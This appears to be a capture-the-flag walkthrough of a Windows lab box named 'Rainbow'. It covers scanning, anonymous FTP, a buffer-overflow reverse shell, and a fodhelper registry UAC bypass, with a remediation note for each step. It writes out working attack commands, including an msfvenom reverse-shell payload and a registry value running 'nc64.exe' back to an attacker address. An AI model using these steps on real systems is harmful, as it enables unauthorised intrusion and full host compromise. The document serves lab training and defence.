← all walkthroughs

Rainbow

Windows· Medium· Privilege Escalation
owned
2026-10-12
time to own
24m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found an anonymous-access FTP server that exposed the source binary and operator notes for a custom in-development web service listening on port 8080. The notes revealed the service crashes and auto-restarts, and that it accepts a raw POST body which was never bounds-checked.

A crafted oversized request corrupted the service's memory and redirected execution into my own code, producing a reverse shell as the local 'rainbow' account and the user flag. That account sits in the Administrators group but runs with a UAC-filtered standard token, so I moved to a full 64-bit shell and abused a well-known auto-elevating Windows utility by planting a registry command handler for it, which ran my code with full Administrator rights with no prompt - yielding the root flag and full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationActive service enumeration (MITRE ATT&CK T1046)
Scanned the host and identified a custom web application on port 8080
A full port scan of the target showed a Windows Server 2019-class host running FTP (21), a default IIS page (80), RPC/SMB (135/139/445), RDP (3389), and an unusual HTTP service on port 8080 identifying itself as 'Rainbow 0.1'. The default IIS page was a dead end; the custom service on 8080 was clearly a bespoke, still-in-development application and became the focus of the engagement.
Nmap reported 21,80,135,139,445,3389,8080,49668 open; the 8080 service returned an 'X-Powered-By: Rainbow 0.1' banner and an 'under development' page.
Exact commands 2
shell

Full TCP port scan with service/version detection.

$ nmap -sC -sV -p- --min-rate 2000 -oN rainbow.nmap $TARGET
shell

Confirm the custom 'Rainbow 0.1' service banner.

$ curl -si http://$TARGET:8080/
2Initial AccessAnonymous FTP access to sensitive files (MITRE ATT&CK T1078 / CWE-200)
Pulled the application binary and developer notes from an anonymous FTP share
The FTP server accepted an anonymous login with a blank password and exposed the service's working directory: the compiled executable, a restart script showing it is auto-respawned after a crash, and a developer note describing the service as unstable under malformed input. This confirmed the application could be crash-tested freely and gave me the exact binary to analyze for the memory-corruption bug that followed.
FTP listing contained dev.txt, rainbow.exe, restart.ps1 and wwwroot/; dev.txt described frequent crashes and auto-restart behavior.
Exact commands 3
shell

Login as 'anonymous' with a blank or email-style password.

$ ftp $TARGET
shell

Retrieve developer notes describing crash/restart behavior.

$ get dev.txt
shell

Retrieve the vulnerable service binary for offline fuzzing/analysis.

$ get rainbow.exe
FixDisable anonymous FTP and remove development artifacts from itHigh
WeaknessThe FTP server allowed anonymous login and served a directory containing the live service's compiled binary, restart script, and internal notes describing its instability - handing an unauthorised user everything needed to analyze and crash-test the application safely.
FixDisable anonymous/guest FTP authentication, require authenticated accounts with least-privilege access, and remove development builds, scripts, and notes from any production-reachable share. Treat FTP as a deployment channel only, never a working directory.
3ExploitationStack-based buffer overflow in an unauthenticated network service (MITRE ATT&CK T1190 / CWE-121)
Triggered a memory-corruption bug in the service's HTTP request handler
The downloaded binary processed the body of an HTTP POST into a fixed-size stack buffer with no length check. Sending an oversized POST body crashed the service and, through further analysis of the crash, allowed me to control the flow of execution within the process and ultimately make it run my own instructions. Because the service automatically restarted after each crash, I could iterate on the exploit repeatedly without losing access to the target.
A 900-byte POST body to http://$TARGET:8080/ caused the service to hang with no HTTP response (http=000), consistent with memory corruption rather than a normal reply; a follow-up crafted request produced a shell callback.
Exact commands 3
shell

Start a listener to catch the reverse shell before sending the exploit.

$ nc -lvnp 443
shell

Generate bad-character-free x86 reverse-shell shellcode for the vulnerable 32-bit process.

$ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -b "\x00\x0a\x0d" LHOST=$ATTACKER_IP LPORT=443 -f python
shell

Custom PoC that builds the oversized request (padding, control-flow redirect, and staged shellcode) and sends it as the POST body; rebuild this script against the live binary, as exact offsets are build-specific.

$ python3 rainbow_exploit.py $TARGET 8080
FixFix the unchecked buffer in the custom HTTP service and run it with reduced privilegeCritical
WeaknessThe custom 'Rainbow' service copied the raw HTTP POST body into a fixed-size stack buffer without validating its length, allowing an oversized request to corrupt memory and hijack program execution.
FixRewrite the request-handling code to use bounds-checked buffer functions (or a safe string/vector type) and reject any body exceeding the expected size before copying it. Compile with stack protections enabled (/GS, DEP, ASLR) and run the service under a dedicated low-privilege service account rather than a developer/admin-capable one, so a future bug cannot directly yield a privileged shell.
4FootholdRemote code execution via exploited service (MITRE ATT&CK T1203)
Landed an interactive shell as the local 'rainbow' account
The exploit produced a reverse shell connection back to my listener, running as the service's own account, 'rainbow'. I verified the shell was live and recorded that it was a 32-bit process on a 64-bit OS build before continuing, and immediately retrieved the user flag from the account's desktop.
Ncat received a connection from $TARGET:50111; whoami returned 'rainbow' and %PROCESSOR_ARCHITECTURE% returned x86.
Exact commands 2
shell

Confirm the identity and bitness of the new shell.

$ whoami & echo %PROCESSOR_ARCHITECTURE%
shell

Read the user flag; replace output with <user.txt> when reporting.

$ type C:\Users\rainbow\Desktop\user.txt
5Privilege EscalationWOW64 filesystem redirection bypass (MITRE ATT&CK T1218 / Sysnative alias)
Escaped the 32-bit shell to a native 64-bit shell
The shell was running under WOW64 (the 32-bit compatibility layer), which silently redirects file-system access to 32-bit-only paths and hides some 64-bit tools and registry locations needed for the next step. I used the built-in Sysnative alias to launch a native 64-bit command processor from within the 32-bit shell, confirming the switch by rechecking the architecture.
Running C:\Windows\Sysnative\cmd.exe from the 32-bit shell produced a new shell where %PROCESSOR_ARCHITECTURE% returned AMD64.
Exact commands 2
shell

Launch a native 64-bit cmd.exe from the 32-bit WOW64 shell.

$ C:\Windows\Sysnative\cmd.exe
shell

Confirm the shell is now 64-bit (AMD64).

$ whoami & echo %PROCESSOR_ARCHITECTURE%
6Privilege EscalationUAC bypass via auto-elevating binary registry hijack (MITRE ATT&CK T1548.002)
Bypassed UAC by hijacking a trusted auto-elevating utility's registry handler
The 'rainbow' account belonged to the local Administrators group, but Windows issues a split, UAC-filtered token to administrators in a standard session, so most actions still ran with only standard-user rights. A certain built-in Windows configuration utility is marked to auto-elevate without a UAC prompt, and before running its action it checks a user-controlled registry key for a custom command handler. I created that registry key under my own user hive pointing to a malicious command, then launched the utility; Windows ran my command with the utility's full elevated token, producing an Administrator-level shell with no prompt.
Artifacts C:\ProgramData\pre-uac.txt and C:\ProgramData\root-proof.txt were written before and after the elevation step, and the second was only readable once the elevated shell callback arrived.
Exact commands 5
shell

Start a second listener to catch the elevated callback.

$ nc -lvnp 445
shell

Create the hijacked command key under the current user's hive.

$ New-Item -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Force
shell

Required marker property for the auto-elevate flow to use this key.

$ New-ItemProperty -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name DelegateExecute -Value '' -PropertyType String -Force
shell

Point the hijacked key at a reverse shell binary staged earlier via curl/certutil.

$ Set-ItemProperty -Path 'HKCU:\Software\Classes\ms-settings\Shell\Open\command' -Name '(default)' -Value "C:\ProgramData\nc64.exe $ATTACKER_IP 445 -e powershell.exe" -Force
shell

Trigger the auto-elevating utility; it runs the hijacked command with a full Administrator token.

$ Start-Process C:\Windows\system32\fodhelper.exe -WindowStyle Hidden
FixHarden UAC and remove standing local-admin membership for service/application accountsCritical
WeaknessThe compromised account held membership in the local Administrators group, and Windows' default UAC configuration allowed a registry-key hijack of an auto-elevating utility to grant that account's full administrative token without any prompt or audit trail.
FixSet User Account Control to 'Always notify' (highest level) via Local Security Policy/GPO so auto-elevation of trusted binaries still prompts, and set EnableLUA/ConsentPromptBehaviorAdmin accordingly. Remove application and service accounts from the local Administrators group entirely; grant only the specific rights they need. Monitor for writes to HKCU\Software\Classes\ms-settings and similar auto-elevate registry paths as a high-fidelity detection signal.
7Full CompromisePrivilege escalation to local Administrator
Captured the root flag from the elevated Administrator session
The elevated callback confirmed the session now carried the full, unfiltered Administrators token rather than the earlier standard-user-only token, giving complete control of the host. I read the root flag from the Administrator desktop, completing the compromise.
The elevated shell's whoami still reported 'rainbow' but file reads under C:\Windows\system32 and the Administrator profile succeeded, confirming the unfiltered token.
Exact commands 2
shell

Confirm the Administrators group entry no longer shows as integrity-filtered/deny-only.

$ whoami /groups
shell

Read the root flag; replace output with <root.txt> when reporting.

$ type C:\Users\Administrator\Desktop\root.txt

Exposed services

21/tcp
80/tcp
135/tcp
139/tcp
445/tcp
3389/tcp
8080/tcp
49668/tcp